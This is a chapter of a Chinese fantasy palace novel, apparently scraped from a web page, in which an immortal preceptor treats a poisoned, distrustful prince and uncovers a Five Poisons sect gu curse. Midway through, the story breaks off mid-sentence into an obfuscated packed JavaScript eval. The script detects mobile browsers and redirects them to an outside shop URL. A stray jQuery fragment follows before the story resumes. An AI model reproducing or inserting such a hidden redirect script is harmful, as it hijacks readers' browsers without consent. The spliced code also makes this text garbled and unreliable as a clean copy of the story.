天元二年,春。
皇帝以千座宫观,百年贡献为礼,请求仙山上的仙人下山为其弟续命。
仙山上来了位心善的仙人,为这位殿下看诊。
那名小殿下名殷寂。
仙人名为顾昭。
顾昭初见到这位小殿下,便觉得这人与死尸无异,只有胸口微弱的起伏证明人还活着。
她上前搭脉,轻轻撩开对方袖子,随即目光一顿:腕口刀疤纵横,竟无从下手。只得并指探上颈侧,触手冰凉,脉搏细若游丝,分明将死之相。
“殿下一直如此?并无改善?”她转头问。
太医颤颤巍巍答:“是,老臣想尽了法子,殿下就是如此,日日昏睡……老臣也惶恐啊!”
顾昭沉吟片刻,吩咐道:“嗯,我知晓了,你们先出去吧。”
殿门合拢,室内彻底安静下来。只剩药炉上残火未熄,偶尔噼啪一声。
小殿下的状态实在算不得好。
顾昭凑近细看,他在昏睡中依然皱着眉,面色灰败,她捏开殷寂的下颚,正欲看一下舌苔,一股腐气先冒了出来。
她眼中闪过寒意,竟是五毒门的伏尸蛊,五毒门怎么还在?难道他还活着?
沉默了一瞬,顾昭垂眼看着殷寂灰白的面色,他身上既有蛊,那一定同五毒门有干系,这个毒瘤,竟将人折磨成这样。
她再没多想,随即咬破指尖,挤出精血抹在殷寂唇上,看血渐渐渗入唇缝中。
约莫一盏茶的功夫,殷寂的睫毛动了一下,嘴唇蠕动,发出一声极轻的气音:“……水。”
顾昭起身倒了杯温水。回头时殷寂已经半睁开眼,正用手肘撑着榻面试图坐起来。动作很慢,指节泛白,手肘微微发颤,刚撑起一半就歪了一下。顾昭伸手虚虚扶了一把他的背,把杯子递到他手里。
殷寂接过去,手抖得厉害,杯沿磕在下唇上洒出了一些,水渍洇在胸口那件过于宽大的寝衣上。他顾不上这些,低着头含住杯沿慢慢喝了两口,然后长出了一口气,才抬眼看向顾昭。
“多谢。”他声音还是很沙哑的,但比刚才清楚了些,“是你救了我?”
顾昭把杯子接回来放好,语气平平的:“分内之事,殿下不必客气。”
殷寂靠在床头,视线跟着眼前人移动,嘴角浅浅弯了一下:“你是宫里新来的医女吗?叫什么名字?医术这么高明,我得向皇兄给你请赏。”
顾昭弓身行了一礼,神色淡淡,“臣顾昭,并非医女。是陛下新聘的国师。”
殷寂顿时冷了脸色,语调也无先前温和,“你是术士?烦请你先出去罢……”
顾昭淡声应道:“臣告退”
便依言退出殿外,门扉合拢的瞬间,几个太医便围了上来。
“大人,殿下可清醒了?”
“大人您脸色白了许多,大人无碍吧?”
顾昭将渗血的指尖拢入袖中,面不改色地抬了抬手,止住一众老头的聒噪
“无碍,殿下已醒。你们先行看顾,我去向陛下复命。”
她走时脚步有些虚浮,精血救人是术士大忌,若非迫不得已,她不会走这一步。
其实五毒门在五十年前早该灭绝的,也不怎么又死灰复燃了,其中就是有蹊跷的。
顾昭皱眉,新帝那边……得想个说辞,伏尸蛊来的奇怪,在未察明前还是暂且不提为好。
皇帝正伏在案前批着奏折,面色憔悴,想来许久没睡好了。
见她进来,皇帝竟起身绕过案几迎了上来,面色焦灼:“阿寂他怎么样了?”
顾昭略略摇头,并未立刻作答。
皇帝瞳孔骤然一缩,整个人僵了一瞬,随即踉跄往后退了两步:“竟是……没救了吗?”
“非也。”顿了顿,顾昭又补充道:“只是……殿下病气郁结,需要布个法阵驱一驱……”
皇帝松了口气:“国师想要什么尽管吩咐。”
“臣想知道殿下此前去了什么地方?还是一直待在宫中?”顾昭询问道。
皇帝看向顾昭:“问这么作甚?”
顾昭:“臣只是觉得殿下病得奇怪。”
皇帝叹了口气,才缓缓道:“阿寂此前一直被养在城外观中,朕去接他时观中道人都死完了,只余阿寂一人。”
说着声音越发沉痛起来,“那时阿寂已是这般模样,国师,朕只余阿寂一个亲人了,国师定要救活他啊!”
顾昭弓身一礼:“臣必定尽力。”
皇帝:“阿寂的身体状况,怕是国师要常住宫中了,阿寂的脾气有些古怪,还请国师多担待些,他本性不坏的。”
顾昭颔首:“那臣先行去布置法阵了。”
皇帝摆摆手又坐回案前。
内务府办事很麻利,没一会儿就将顾昭要的东西备好了。顾昭觉得殷寂这般体弱,想必不宜多走动,便命宫人将那些物件搬到殷寂院中,省得他出去吹了冷风受寒,让本就差的身子雪上加霜。
殷寂似是预料到了些什么,将自己收拾妥当,身披青色薄氅早早候在院中,同苦竹般细瘦。
他面色不愉:“你们这些术士是没别的招术了吗?就只会依靠法器法阵来对付我吗?”
“殿下,臣是为您驱病气……”
殷寂不欲听顾昭辩解些什么,冷声打断:“巫蛊之术就是巫蛊之术,你们就是认定我是邪魔,来处置我的罢?国师何不明说?”
顾昭直视殷寂那双眸子,不卑不亢:“臣既救了殿下一命,那殿下便可知臣不会害你。”
殷寂冷嗤一声:“说得比唱的还好听,你救我一命,难道就代表不会害我了吗?我是不会让巫蛊之术进我院子的!”
“殿下……”
不等顾昭说完,殷寂似受了什么天大的刺激,情绪越发激动了起来,尖声吼道:“滚!都给我滚远点!不要再让我看见你!”
说着,他气血上头,一个站不稳便向边上倒去。顾昭一个箭步扶住殷寂,刚扶稳便皱起了眉,怀中人轻飘飘的,几乎没有重量,身上的骨头也硌人的很。
“别碰我!”殷寂三两下挣扎开,往后退了几步才堪堪稳住身形。
顾昭轻叹了口气:“殿下信不过我,总信得过陛下吧?我请陛下守着可好?”
“哼,你以为皇兄来了就能改变什么吗?”殷寂讥讽道。
顾昭不与争辩,只抬手召来宫人吩咐道:“去请陛下来。”
吩咐完欲要将殷寂扶到边上坐着,殷寂一甩手:“都说了别碰我了!”
他自顾自寻了个地方坐了下来。
顾昭不予理会,转身面向宫人,指挥起排布法阵。
法阵布得差不多了,皇帝才匆匆赶到,冠冕都有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708997|208397||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
些歪了:“国师,听说阿寂不让你们进来?”
顾昭淡淡一笑:“只是不放心我们罢了。有陛下在,想必殿下会安心不少。”
殷寂冷哼一声,将头偏向一边。
皇帝无奈叹了口气:“阿寂,莫要胡闹。”
殷寂不可置信地瞪圆了眼:“我胡闹?皇兄难道忘了我怎么变成这样的吗?”
皇帝顿了一下,声音更低了些:“阿寂,过去的事……”
“过去的事?”殷寂扯出一抹冷笑,指着院中那些器具,手指在发抖,“皇兄,你看看那个阵!你看看那些东西!你让巫蛊之术进我院子!你问过我吗?”
皇帝扶住殷寂的肩,“你冷静点,我这是为你好……”
“为我好?够了!不要你假惺惺!都滚!滚!”殷寂颇为激动,胸口上下剧烈起伏着。
“够了!阿寂,别闹了好不好。”皇帝也沉了脸。
“我闹?我闹?那人对你说了什么?你这么信她?”殷寂忍不住吼了出来。
皇帝皱眉:“国师是自己人。”
“自己人?”殷寂转过头盯着皇帝,眼眶泛红,“当年那些术士,一开始也说自己是‘自己人’。然后呢?”
皇帝深吸一口气,伸手想拉他:“阿寂,阿兄不会害你。”
殷寂避开他的手,退了一步:“皇兄当然不会害我。皇兄只是不知道,这些年我都是怎么过的。”
皇帝张了张嘴,说不出话来。
“皇兄要是真为我好,就把这些东西撤了。”殷寂偏过头,不看他,“我不进去。”
说完转身就往殿内走。
皇帝站在原地,攥了攥拳头,最终没有追上去。
顾昭一直在旁边看着,这时才开口:“陛下,殿下的状态不适合进阵。”
皇帝沉默了很久,才哑着嗓子说:“……那改日吧。”顿了顿,才继续说道,“朕先去批折子了。”落下这句便匆匆逃离了。
“臣恭送陛下。”顾昭行了一礼便转身朝寝殿走去,殷寂刚才的状态不对,匆匆推开殿门就见殷寂倒在地上。
“殿下!殿下!”顾昭摇了两下殷寂没有反应,“失礼了。”
顾昭一把将人抱起,放在软榻上,殷寂的脸烫得吓人,竟是发起了高热。
顾昭又往偏殿走去,在药柜前翻翻找找,匆匆配齐一副清热的药,又放心不下榻上躺着的人,索性将药炉搬到榻边熬了起来,又觉得不妥,布了个小结界将药炉隔离开来。
忽听殷寂呓语:“不要……别过来……”
顾昭又探了探他的额头,越发烫了起来,顾昭出去打了些水,拿了张帕子给殷寂敷着。
“好疼……不要……不要再放我的血了……”
顾昭拧眉,放血?顾昭刺破殷寂的指尖,挤出一滴血来,血色红莹,比常人的略深一些,殷寂竟是蛊身。
也难怪殷寂会被种下伏尸蛊,也难怪殷寂腕上有这么多伤,原是被当作了养蛊的容器了。
殷寂身子微微发起抖来,顾昭拉住殷寂的手试图安抚,手反被殷寂反握住,“母妃……不要走……”
顾昭皱眉望着床上这个病弱少年喃喃道:“你究竟经历了些什么?又和五毒门有什么关系?”
“不会走的……”顾昭低应道。
“也是我的过错,没将五毒门灭尽。”